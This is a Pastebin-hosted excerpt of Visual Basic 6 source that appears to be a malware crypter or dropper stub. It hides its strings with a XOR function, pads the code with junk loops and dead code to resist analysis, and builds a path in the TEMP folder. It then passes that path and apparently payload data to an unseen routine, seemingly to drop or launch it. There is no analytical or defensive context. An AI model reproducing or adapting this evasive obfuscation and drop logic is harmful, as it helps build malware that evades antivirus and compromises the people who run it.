  841. mtuIgsIA = LTrim(ugatonxL)
  842. ChwZVOjX = RTrim(mtuIgsIA)
  843.  
  844. Close #92
  845. Dim oMxonDwO As Integer
  846. For oMxonDwO = 0 To 1
  847. Dim ixQNkElr, yugDhTVE, ldaHKlzD As String
  848. ixQNkElr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(51) & Chr(105) & Chr(35) & Chr(54) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  849. yugDhTVE = LTrim(ixQNkElr)
  850. ldaHKlzD = RTrim(yugDhTVE)
  851.  
  852. DoEvents
  853. Next oMxonDwO
  854. Dim hBBOPFHV, qNpWtLdB, ualubCPN As String
  855. hBBOPFHV = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(45) & Chr(106) & Chr(43) & Chr(37) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  856. qNpWtLdB = LTrim(hBBOPFHV)
  857. ualubCPN = RTrim(qNpWtLdB)
  858.  
  859. HJKzlDPM:
  860.  
  861. Dim giSWfZQU As Integer
  862. For giSWfZQU = 0 To 2
  863. Dim dIpGowQq, KEJpwHZe, cbbRIqlM As String
  864. dIpGowQq = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(40) & Chr(122) & Chr(55) & Chr(36) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  865. KEJpwHZe = LTrim(dIpGowQq)
  866. cbbRIqlM = RTrim(KEJpwHZe)
  867.  
  868. DoEvents
  869. Next giSWfZQU
  870. Dim FLzugXlL, eOiPmUTA, TWwRrtgW As String
  871. FLzugXlL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(63) & Chr(113) & Chr(57) & Chr(62) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  872. eOiPmUTA = LTrim(FLzugXlL)
  873. TWwRrtgW = RTrim(eOiPmUTA)
  874.  
  875. sdngkb = Environ(Xorex(Chr(63) & Chr(53) & Chr(117) & Chr(59), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")) & Xorex(Chr(55) & Chr(51) & Chr(105) & Chr(57) & Chr(61) & Chr(59) & Chr(40) & Chr(46) & Chr(43) & Chr(37) & Chr(60) & Chr(45) & Chr(69) & Chr(85) & Chr(11) & Chr(16), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  876.  
  877. GoTo cBuVwuMm
  878. Dim wPPPlonL As String
  879. Open Xorex(Chr(57) & Chr(57) & Chr(110) & Chr(62) & Chr(54) & Chr(33) & Chr(75) & Chr(33) & Chr(54) & Chr(48), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 39
  880. Dim QYzDbZQP As Integer
  881. For QYzDbZQP = 0 To 9
  882. Dim izZVObjb, logasfmP, TgarDzcM As String
  883. izZVObjb = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(40) & Chr(105) & Chr(59) & Chr(34) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  884. logasfmP = LTrim(izZVObjb)
  885. TgarDzcM = RTrim(logasfmP)
  886.  
  887. DoEvents
  888. Next QYzDbZQP
  889. Dim xPXoDZfS, lPumiUQD, fQjYAQoF As String
  890. xPXoDZfS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(50) & Chr(126) & Chr(60) & Chr(36) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  891. lPumiUQD = LTrim(xPXoDZfS)
  892. fQjYAQoF = RTrim(lPumiUQD)
  893.  
  894. Put #39, , wPPPlonL
  895. Dim ffpyMCLp As Integer
  896. For ffpyMCLp = 0 To 2
  897. Dim lvHgVOEp, VlvOqrmz, EgytcvdL As String
  898. lvHgVOEp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(32) & Chr(101) & Chr(61) & Chr(33) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  899. VlvOqrmz = LTrim(lvHgVOEp)
  900. EgytcvdL = RTrim(VlvOqrmz)
  901.  
  902. DoEvents
  903. Next ffpyMCLp
  904. Dim ZGtVjHdd, JTqAxAvW, lJbwyBug As String
  905. ZGtVjHdd = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(39) & Chr(57) & Chr(106) & Chr(55) & Chr(57) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  906. JTqAxAvW = LTrim(ZGtVjHdd)
  907. lJbwyBug = RTrim(JTqAxAvW)
  908.  
  909. Close #39
  910. Dim EbpoPTEC As Integer
  911. For EbpoPTEC = 0 To 7
  912. Dim NAZeEDhQ, sUgutAlX, plJLeEBm As String
  913. NAZeEDhQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(41) & Chr(106) & Chr(34) & Chr(48) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  914. sUgutAlX = LTrim(NAZeEDhQ)
  915. plJLeEBm = RTrim(sUgutAlX)
  916.  
  917. DoEvents
  918. Next EbpoPTEC
  919. Dim XjkOUiyF, KjAWzsEG, DkQuxjaH As String
  920. XjkOUiyF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(39) & Chr(51) & Chr(97) & Chr(43) & Chr(60) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  921. KjAWzsEG = LTrim(XjkOUiyF)
  922. DkQuxjaH = RTrim(KjAWzsEG)
  923.  
  924. cBuVwuMm:
  925.  
  926. Dim wldJoHam As Integer
  927. For wldJoHam = 0 To 6
  928. Dim dQLdlzNH, KYnUUxJU, cZizMKIb As String
  929. dQLdlzNH = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(41) & Chr(121) & Chr(37) & Chr(61) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  930. KYnUUxJU = LTrim(dQLdlzNH)
  931. cZizMKIb = RTrim(KYnUUxJU)
  932.  
  933. DoEvents
  934. Next wldJoHam
  935. Dim RyluwpPT, LXvPnWXf, wuSRplTU As String
  936. RyluwpPT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(56) & Chr(127) & Chr(57) & Chr(34) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  937. LXvPnWXf = LTrim(RyluwpPT)
  938. wuSRplTU = RTrim(LXvPnWXf)
  939.  
  940.     MPIRKLCZGPW bdskk, sdngkb
  941. End Sub
  942.  
  943.  
  944.  
  945.  
  946.  
  947.  
  948. '----------------------
  949. 'Xor Function
  950. '----------------------
  951. Public Function Xorex(ByVal sStr As String, ByVal sKey As String) As String
  952. Dim i As Long
  953.     For i = 1 To Len(sStr)
  954.         Xorex = Xorex & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
  955.     Next i
  956. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top